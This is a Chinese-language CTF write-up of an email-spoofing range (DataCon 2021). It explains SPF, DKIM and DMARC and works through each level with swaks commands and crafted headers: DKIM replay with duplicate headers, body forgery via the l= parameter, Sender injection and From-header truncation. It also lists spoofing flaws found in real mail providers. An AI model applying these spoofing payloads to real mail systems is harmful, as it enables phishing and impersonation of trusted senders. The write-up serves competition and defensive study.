0x1 背景

邮件发件协议主要是SMTP(Simple Mail Transfer Protocol),但是SMTP协议设计之初并没有考虑到太多安全相关的功能,因此导致邮件发件人伪造的攻击层出不穷。

一个典型的邮件从发送方编写到接收方看到邮件内容的过程如下图所示

邮件发送流程图

  • 发送方通过SMTP协议发给发送方的MTA(Mail Transmission Agent)

  • 发送方的MTA通过SMTP协议发给接收方的MTA

  • 最终接收方使用POP3(Post Office Protocol)或IMAP(Internet Message Access Protocol)协议接收邮件

在这个过程中传输的邮件有很多个字段都是用来指定发送方身份的

  • MailFrom SMTP.From, 这个字段可以理解为信封上指定的发件人
  • From Message.From, 展示给用户看到的信息上的发件人
  • Sender, 一般在代发邮件中用来标识代发邮件的来源

这些多种的字段就导致实际邮件服务解析时不同邮件客户端可能对显示的内容处理方案不同,从而就导致了发件人伪造的攻击。

这种攻击也在APT、钓鱼邮件等攻击中大量存在,因此发件人伪造攻击也是一个十分值得重视的邮件安全问题。

0x2 邮件安全协议

由于SMTP设计时并没有考虑相关的安全机制,为了保证其安全性陆续推出了SPF、DKIM、DMARC等安全协议。

对于发件人伪造攻击,我们需要关注的是这些协议分别检查哪些字段,如何利用协议的缺陷绕过对应的安全保护机制

SPF

image-20211114120456769

SPF协议是发件人的域名在DNS记录中加入一条TXT记录,其中包含允许的IP地址;

收件方接收到邮件后检查smtp.mail字段,如果发件人的IP在DNS的TXT记录中,则返回pass

DKIM

image-20211114120702953

DKIM是利用到密码学的签名协议,发件方首先需要在DNS记录上增加自己的公钥,发件时使用自己的私钥对邮件的内容进行签名,并将签名的结果写在邮件内容中,当收件人收到信件时向DNS请求公钥对信件内容进行校验。

DKIM中几个比较重要的字段有:

  • d 表示实际校验的域名
  • h 表示签名内容的涵盖范围
  • l 是可选参数,表示body的长度

其中l这个参数最初的目的是用于一些商业邮件底部的Unsubscribe相关按钮

指定了l参数的邮件有可能被伪造body

DMARC

image-20211114124939276

由于SPF协议只能保证发件人的IP是否是域名允许的IP,DKIM只能保证邮件的内容没有经过篡改,两者都没有保护最终收件人看到的From字段是否是一个正确且真实的,因此增加了DMARC协议。

DMARC协议会根据SPF、DKIM两者验证的返回结果,以及对From字段做的一致性检查,最终给出一个结论,判断这封邮件是应当拒收还是接收。

0x3 发件人伪造常见攻击类型

image-20211027161310806

2021年USENIX的论文中提出了Direct MTA、Shared MTA、Forwarding MTA三种类型的攻击角度;

另一方面也可以按照2020年USENIX中的分类方法:

  • Intra-Server
  • UI-mismatch
  • ambiguous-replay

这两篇论文都写的很详细,具体内容在此不赘述

在我们靶场做题中,主要使用到的思路是对FromSenderMailFrom等内容进行变形,截断;

最终的目的是:

  • MailFrom字段和Auth User保持一致;
  • From字段在SPF/DKIM校验时与MailFrom一致;
  • From/Sender字段显示给用户时显示我们希望伪造的内容;

另外Level5、Level6涉及到USENIX2020中第六章针对DKIM的Replay Attack,这一章写的思路很清楚,并且攻击方法很详细。

0x4 靶场题目解题思路

准备

整个做靶场题的过程主要需要准备以下内容:

  • swaks
  • 一个163的邮箱账号

swaks是一个有Perl编写的方便的命令行邮件伪造工具,相关的详细介绍资料比较多在此不赘述,详细用法可参见参考文献。

163的邮箱账号则是用于登录后对邮件发送,可以保证SPF、DKIM为pass。

Level1

Level1的靶场题目相对比较简单,没有设置安全保护机制,可以直接指定MailFrom字段

swaks --to security@mail1.nospoofing.cn --from admin@mail1.nospoofing.cn  --data level1.eml

文件内容为

Subject: user10597725@mail1.nospoofing.cn

Level2

Level2的靶场题目也比较简单,和Level1的区别在于不能直接指定MailFrom,可以通过指定From字段实现绕过

swaks --to security@mail2.nospoofing.cn --data level2.eml

文件内容增加了From头

From: admin@mail2.nospoofing.cn
Subject: user10597725@mail2.nospoofing.cn

Level3

使用前面相同的PoC发送给Level3的话会提示550 Requested mail action not taken: Fake sender

并且这道题目启用了SPF的校验;

在绕过时借助同一个域名下的账户(即参考资料2中的Shared MTA Attack)即可成功

swaks --to security@mail3.nospoofing.cn --from admin@mail3.nospoofing.cn --ehlo mail3.nospoofing.cn  --server mail3.nospoofing.cn --ap ksXQBw4qApXK --au user10597725@mail3.nospoofing.cn --data level3.eml
From: admin@mail3.nospoofing.cn
Subject: user10597725@mail3.nospoofing.cn

Level4

第四关的主要难点是不显示代发提醒,即使伪造邮件使得From字段与MailFrom字段均为admin@mail4.nospoofing.cn, 还是会显示由XXX代发的提醒

image-20211027145546848

MailFrom和From均伪造后邮件系统在最下方添加了一个Sender字段

经过尝试与分析后发现主要原因是Sender字段指示了代发提醒

如果尝试在--data后的文件中加入一个Sender, 邮件会将其删除后重新填上实际发件人的地址

可以看到这封邮件的Sender字段与上面的Sender字段位置不同

于是我们接下来尝试的思路是对Sender进行伪造;最终意外测试出了一个厂商解析时的漏洞,具体内容由于厂商还未修复不便展开。

在邮件上方注入了一个为空的Sender

最终的效果是实现了在邮件内容中注入了一个Sender: <>

这个字段优先于真正的Sender被邮件解析,因此在前端的提醒中代发没有被显示。

进一步思考后我们推测这个漏洞有可能造成更大的影响,例如直接将AuthResult等字段注入到头部位置,从而绕过更加复杂的校验,具体内容有待进一步验证;

Level5

在对Level5做了一些基本的尝试后发现Level5对DKIM进行了验证,因此详细阅读相关论文后最终在文献3中的第六章找到了对DKIM绕过的详细资料。

另外第五关中的一个明显提示是我们需要伪造的对象不再是admin@mail7.nospoofing.cn而是admin@nospoofing.cn

image-20211114125852223

注意到收件箱中本身就有一封经过了DKIM签名的admin@nospoofing.cn的邮件

在参考文献3中详细介绍了DKIM的几种绕过方法,在此可以做一个简单的总结

DKIM的校验有这样几个特点:

  • DKIM校验的内容为h=之后的字段
  • DKIM一定会校验Body和From
  • 如果有多个头部,DKIM会校验最后一个头部

image-20211114125912080

针对这样几个特点,尝试进行Replay Attack时就可以依照以下策略:

  • DKIM头部中h=不包含的内容都可以直接修改
  • Body的内容不能修改
  • 如果h=进行了校验,可以尝试在原本头部的上方增加一个新的头部

注意到原本邮件的DKIM头部为

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=nospoofing.cn;i=@nospoofing.cn; l=1805; q=dns/txt; s=20210923;t=1633945884;h=from:subject:to;bh=/PmJ+VE73a9yiNjoTwZASv8Oe2waQj217806BZ4SUAE=;b=cgU5JI5s9Xhxw5jy8WC0F8NXdS+g3yMRc7Jx0lKJLl27/NA/IcRjF5iBdysUEEFYHYEgmxMVjQIqMDwouDwN8/hk0qXpA3BtVH5X7ohs+8CJ3aF+yUmQYXl5rtj2ezQU9mjGPP348DafhMCkwJGdJ/9CNko137+gHDow3U4aOBh8DqB+vdGarWRFSU0LbG1vYfQ4CqaxvIBmwd1tWSuctAIaXXPfNXDUlyLzfh6Niuor608At2k3dCX4OxlzrMkfEKzl8E79Iow1CuVwSQCvHvodXy+S2B4ztovicBdeRgzk5xD6ZT6OyZGDbmf21GMEmvyo1d9J2aQpreJpbyrS8A==

其中h=from:subject:to;

因此我们不能修改的内容有FromSubjectToBody四部分

但是题目要求我们需要修改Subject,我们可以在原本邮件上再次添加一个新的Subject

image-20211114130828498

运行的指令为

swaks --to security@mail7.nospoofing.cn --from user10597725@mail4.nospoofing.cn --ehlo mail4.nospoofing.cn --server mail4.nospoofing.cn --au  user10597725@mail4.nospoofing.cn --ap ksXQBw4qApXK --data level5.eml

Level6

这道题目在Level5的基础上多了一个要求,就是Body的内容也要进行伪造

前面提到Body的部分是DKIM一定会进行校验的,但是仍然存在绕过的方法

我们注意到原本邮件DKIM头部中存在l=2563,表示的是要检验内容的长度,存在这个参数的头部是有可能伪造Body的

image-20211114130959187

我们可以在原本的邮件下方新添加一部分内容

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=nospoofing.cn;i=@nospoofing.cn;l=2563;q=dns/txt;s=20210923;t=1634657954;h=from:subject:to;bh=etXuE4B8ekaGt+wLtliUQMuuuKR86W2dfYtDpq8kIRk=;b=dYkh0Cibd2baw6ZShjxSr6s4FrUsx3FQtplUfNm2/XE74e9DpPWClfQ1ajn8pTwpyDJXGQN9VUtemVUyp7ePgcw/DIQn/UCfRFU8gdRZzzXA9AQmBBv94mcCc59Ti7r9JcbBZBN3t20LmV53bdJiLZ8O6Im3LU/eDTpR5TniWS9r+egGIG7BP6Tw+Ev0t981tRT+UMp+5LZMz82l9eEkg47uCIsfBKLyc2XIsSPmospJlyaQMBmY+1xIvQx9q6xsvcQwNnII0XduppsAvi+w8KIF/KbYNUXue1K5VW/LY4jLJdHDvzQnGJobnX+/r4c1MklzhfAfbZ6iFIb05AWPCA==
From: admin@nospoofing.cn
To: test@mail7.nospoofing.cn
Subject: user10597725@mail8.nospoofing.cn
Subject: Welcome to Datacon 2021!
Content-Type: multipart/mixed; boundary=BAD 

------=_Part_5_900138190.1633797064661
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: base64

PGRpdiBzdHlsZT0iZm9udC1mYW1pbHk65a6L5L2TLCBhcmlhbCwgVmVyZGFuYSwgc2Fucy1zZXJpZjt3aGl0ZS1zcGFjZTpub3JtYWw7Ij4KCTxiPuWkp+i1m+eugOS7izwvYj4KPC9kaXY+CjxkaXYgc3R5bGU9ImZvbnQtZmFtaWx5OuWui+S9kywgYXJpYWwsIFZlcmRhbmEsIHNhbnMtc2VyaWY7d2hpdGUtc3BhY2U6bm9ybWFsOyI+Cgk8YnIgLz4KPC9kaXY+CjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTrlrovkvZMsIGFyaWFsLCBWZXJkYW5hLCBzYW5zLXNlcmlmO3doaXRlLXNwYWNlOm5vcm1hbDsiPkRhdGFDb27lpKfmlbDmja7lronlhajliIbmnpDnq57otZvmmK/nlLHlpYflronkv6Hpm4blm6LjgIHmuIXljY7lpKflrabnvZHnu5znoJTnqbbpmaLogZTlkIjlj5HotbfvvIzlm73lhoXpppbkuKrku6XlpKfmlbDmja7lronlhajliIbmnpDkuLrnm67moIfnmoTlpKflnovnq57otZvvvIzml6jlnKjpgInmi5Tlkozln7nlhbvnp6/mnoHpmLLlvqHlnovnvZHnu5zkurrmiY3vvIznq57otZvnmoTmnIDlpKfnibnngrnmmK/lvLrosIMg4oCc5a6e5oiY5YyW4oCdIO+8jOaooeaLn+ecn+Wunue9kee7nOeOr+Wig+eahOaUu+mYsuWvueaKl+WcuuaZr++8jOmHjeeCueiAg+Wvn+mAieaJi+WIqeeUqOaWsOaKgOacr+aWueazleino+WGs+S4jeWQjOWcuuaZr+WuieWFqOmXrumimOeahOiDveWKm+OAgjwvc3Bhbj48YnIgc3R5bGU9ImZvbnQtZmFtaWx5OuWui+S9kywgYXJpYWwsIFZlcmRhbmEsIHNhbnMtc2VyaWY7d2hpdGUtc3BhY2U6bm9ybWFsOyIgLz4KPGJyIHN0eWxlPSJmb250LWZhbWlseTrlrovkvZMsIGFyaWFsLCBWZXJkYW5hLCBzYW5zLXNlcmlmO3doaXRlLXNwYWNlOm5vcm1hbDsiIC8+CjxiIHN0eWxlPSJmb250LWZhbWlseTrlrovkvZMsIGFyaWFsLCBWZXJkYW5hLCBzYW5zLXNlcmlmO3doaXRlLXNwYWNlOm5vcm1hbDsiPui1m+mimOaWueWQkTwvYj4KPGRpdiBzdHlsZT0iZm9udC1mYW1pbHk65a6L5L2TLCBhcmlhbCwgVmVyZGFuYSwgc2Fucy1zZXJpZjt3aGl0ZS1zcGFjZTpub3JtYWw7Ij4KCTxiciAvPgoJPGRpdj4KCQnnvZHnu5zmtYHph4/liIbmnpAKCTwvZGl2PgoJPGRpdj4KCQnogIPlr5/og73lipvvvJrmlbDmja7liIbmnpDjgIHmtYHph4/liIbmnpDjgIHmnLrlmajlrabkuaAKCTwvZGl2PgoJPGRpdj4KCQk8YnIgLz4KCTwvZGl2PgoJPGRpdj4KCQnln5/lkI3kvZPns7vlronlhagKCTwvZGl2PgoJPGRpdj4KCQnogIPlr5/og73lipvvvJrmlbDmja7liIbmnpDjgIHln5/lkI3mjpLlkI3mnLrliLbnkIbop6PjgIHmnLrlmajlrabkuaDjgIHpu5HkuqfliIbmnpAKCTwvZGl2PgoJPGRpdj4KCQk8YnIgLz4KCTwvZGl2PgoJPGRpdj4KCQnova/ku7bkvpvlupTpk77lj4rnianogZTnvZHlronlhagKCTwvZGl2PgoJPGRpdj4KCQnogIPlr5/og73lipvvvJrkuozov5vliLbjgIHpgIblkJHjgIHmvI/mtJ7mjJbmjpgKCTwvZGl2PgoJPGRpdj4KCQk8YnIgLz4KCTwvZGl2PgoJPGRpdj4KCQnpgq7ku7blronlhagKCTwvZGl2PgoJPGRpdj4KCQnogIPlr5/og73lipvvvJrmlbDmja7liIbmnpDjgIHpgq7ku7bljY/orq4KCTwvZGl2Pgo8YnIgLz4KPC9kaXY+CjxkaXYgc3R5bGU9ImZvbnQtZmFtaWx5OuWui+S9kywgYXJpYWwsIFZlcmRhbmEsIHNhbnMtc2VyaWY7d2hpdGUtc3BhY2U6bm9ybWFsOyI+CgnpooTnpZ3lkITkvY3lj4LotZvpgInmiYvlj5blvpfnkIbmg7PnmoTmiJDnu6nvvIHvvIEKPC9kaXY+CjxzcGFuIHN0eWxlPSJmb250LXNpemU6MTRweDsiPjwvc3Bhbj4=

------=_Part_5_900138190.1633797064661--

--BAD
Content-Type: text/plain

user10597725@mail8.nospoofing.cn

--BAD


要让原本的内容不显示,我们需要修改原本邮件头部的Content-Type,将boundary改为我们后面添加的标识

这样最终发出的邮件Body就是我们预期的内容了

image-20211114131042345

Level7

Level7主要存在三个难点

  • 使邮件的DKIM、SPF均为Pass;
  • 绕过垃圾邮件引擎的策略,发进收件箱;
  • 不显示代发提醒;

下面分别讲一下如何克服了这些难点

DKIM、SPF均为pass

DKIM实际上校验的是邮件的完整性,保证邮件内容不被任意篡改;

SPF实际上保证的是发件人与域名的对应,确保发件人的IP地址是域名的合规发件人;

但是这两者其实都无法保证邮件发件人没有经过伪造。

如果利用163邮箱的SMTP登录,发邮件时实际上的发送者是163的服务器,因此只要SPF校验的smtp.mail是163.com就可以保证SPF为PASS;另外163邮箱在发件时会利用私钥对邮件内容进行签名,并且附加一个头部,因此邮件内容的完整性也是可以保证的,收件方检查自然DKIM为pass。

这里想要对比一下163邮箱和sohu邮箱,sohu邮箱的DKIM头部有一个很巧妙的机制:

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=sohu.com;s=mail;t=1635051742;bh=iEDKRbhY+Fz7hARJIEKRlWlP9rv6XE2QsEQXI8/vWXw=;h=Date:From:To:In-Reply-To:Subject:From;b=U/0s+4Mt6ddVZVAlk3Xh7DxrvNbKimlw2POXYsBWxM6srwWalSv8kRCQGXjGZEO0ECfVWEps5SpsVQJNfxjKzUZeg8P/BlVHFqhCg65B/cGxq+NkWF0zfoe+CpFKQdGBLeNwP++8KrXwITLlo/i2RoYZBsr94eokeAJp69MBhg0=
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=163.com;s=s110527; h=Date:From:Subject:MIME-Version:Message-ID; bh=4uDfmxgvRYHSfW4kr2uxIHRFR7nuRc+gNAMxfM6k3c4=; b=WlkuIfK4PWOEA4b5kEcshDyO4v7eDlmyvCJ6j1Wjt+SbUX9hlAPw+gqGcg4k1lDBSRy3kywIFbp5t6GbNfesuf6zjf1bOvGU1XmbMtN8u2WIORpIDB/M5STxTLJBdPXGA6AEQVo3ecpDC1nzd7yiV    ooPN2eKHLFbQN2oKi+FjBI=

对比一下可以看到,sohu的h=校验了两个From, 因为正常邮件发送时只有一个From,所以第二个From默认为空,这样校验的结果就是攻击者无法利用sohu的邮箱发送两个From的邮件;

而163的邮件中只校验了第一个From,因此可以直接利用文献3中的方法增加一个新的From尝试绕过收件箱的保护;

总结一下这一小节的内容,简单的通过163 SMTP登录后发送邮件就可以保证我们发出去的邮件DKIM和SPF均为Pass

绕过垃圾邮件引擎

这一关的垃圾邮件引擎比较严格,最终收到Flag的时候Flag邮件都在垃圾箱中

进垃圾箱的Flag

这里我们的方法是一个偶然发现的,在放出题目的第一天晚上我们利用给的mail6邮箱向mail4的邮箱发了一封邮件,之后mail4又转发回来了这封邮件,成功发进了收件箱;

结果第二天mail4随便发都不会进垃圾箱,因此我们推测互相交流后会短暂的将邮箱加入白名单。

随便发的内容都进了收件箱

最终绕过垃圾邮件引擎的方法就是将一封从mail6发来的邮件转发给security,尝试后发现这样可以发进收件箱

绕过代发提醒

最初题目要求并没有要求代发提醒,我们尝试截断From绕过了保护

From: admin@mail6.nospoofing.cn<>"<lizic0228@163.com>

通过"截断前后的连接,使得MUA显示的是引号以前的内容,实际校验SPF、DKIM等时使用的是引号之后的内容

image-20211027155020142

后续出题人重申了要求,需要去掉代发提醒,我们的总体思路就是找到UI Rendering方面的问题

尝试对From进一步截断或注入

偶然尝试得到了以下这样的结果

image-20211027155109740

From: =?utf-8?B?PGFkbWluQG1haWw2Lm5vc3Bvb2ZpbmcuY24+QAoK?=<><lizic0228@163.com>

这样发送的方法是利用了UTF的编码,虽然看上去指示修改了别名,但是正常修改别名也会显示实际发送的邮箱,这另一方面还利用地址截断了真实的地址

之后查阅资料时看到参考资料1中的图

img

任意位置都可以插入()作为comments,于是我们尝试在多个位置都插入小括号

测试出了以下结果

From: (admin@mail6.nospoofing.cn) <><user10597725@mail4.nospoofing.cn>

image-20211027155611717

这个尝试的显示结果查看HTML可以看到<span class="address"></span>

也就是address这个字段已经为空了

之后在这个基础上进一步变形,我们测试出了几个奇怪的结果

image-20211027160430319

这封邮件显示和代发都是自己,并且这封邮件在收件箱没点开时前面有一个,

image-20211027160535878

但是发送的From中可是并没有出现,

百思不得其解

最终按照上面的思路方法在对From进行变形,去掉了代发的显示

image-20211027160716887

进一步研究发现这里测试出的问题属于厂商UI Rendering 方面的漏洞,因此具体的payload不便展示

Realworld

Realworld环节我们累计提交了9个漏洞

  • Coremail任意地址发件人伪造漏洞;

  • Coremail同域名代发提醒绕过漏洞;

  • Coremail任意发件人代发绕过漏洞;

  • Coremail拒绝服务漏洞;

  • Sohu同域名发件人伪造漏洞;

  • Sohu任意发件人伪造漏洞;

  • Protonmail同域名发件人伪造漏洞;

  • QQ邮箱同域名发件人伪造漏洞;

  • QQ邮箱任意发件人伪造漏洞;

image-20211114134504471

大多数都是发件人伪造的漏洞,本以为经过USENIX2020、USENIX2021两篇相关论文的研究Realworld的漏洞可能会比较难发现,测试出这样的结果还是有些令人震惊的

除了发件人伪造的漏洞还发现了一个拒绝服务的问题,构造为某种格式的头部会导致邮件服务出错,用户直接被登出

iShot2021-11-03 00.28.55

0x5 总结与展望

邮件靶场这个环节对我们选手来说还是非常新颖的一个环节,很幸运我们队伍第一个ak了全部题目。

通过这次的实践,对SPF、DKIM和DMARC协议有了更深入的了解,在做题过程中发现realword漏洞也算是意外之喜。

在做题时Fuzz出了一些奇奇怪怪的结果,这也启发了我们对邮件系统Fuzz的新思路,邮件头中除了From之外的其他字段也是可以进行Fuzz的地方,变异的种子也可以更加多样化,后续我们会尝试再这方面进一步深入研究,编写一个方便测试UI Rendering相关漏洞的工具。

0x6 参考资料

Categories:

Comments are closed